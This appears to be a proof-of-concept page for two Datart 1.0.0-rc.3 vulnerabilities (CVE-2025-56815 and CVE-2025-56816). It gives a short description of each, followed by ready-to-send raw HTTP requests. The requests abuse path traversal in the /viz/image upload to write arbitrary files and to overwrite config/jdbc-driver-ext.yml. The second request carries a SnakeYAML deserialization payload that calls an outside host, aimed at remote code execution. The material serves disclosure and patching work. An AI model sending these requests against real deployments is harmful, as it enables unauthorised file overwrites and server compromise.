CVE-2025-56815 PoC — datart 安全漏洞

Description

Datart 1.0.0-rc.3 is vulnerable to Directory Traversal in the POST /viz/image interface, since the server directly uses MultipartFile.transferTo() to save the uploaded file to a path controllable by the user, and lacks strict verification of the filename.

Readme

# CVE-2025-56815
Datart 1.0.0-rc.3 is vulnerable to Directory Traversal in the POST /viz/image interface, since the server directly uses MultipartFile.transferTo() to save the uploaded file to a path controllable by the user, and lacks strict verification of the filename.

```java
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../../../../tmp/1 HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646

------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

xxxxx
------WebKitFormBoundarySInMdoLRiubl32BW--
```

# CVE-2025-56816
Datart 1.0.0-rc. 3 is vulnerable to Directory Traversal.  The configuration file handling of the application allows attackers to upload arbitrary YAML files to the config/jdbc-driver-ext. yml path.  The application parses this file using SnakeYAML's unsafe load() or loadAs() method without input sanitization.  This allows deserialization of attacker-controlled YAML content, leading to arbitrary class instantiation.  Under certain conditions, this can be exploited to achieve remote code execution (RCE).

```
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../config/jdbc-driver-ext.yml HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646

------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

{!!java.net.URL ["http://test.eyes.sh/"]: 1}
------WebKitFormBoundarySInMdoLRiubl32BW--
```

File Snapshot

Remarks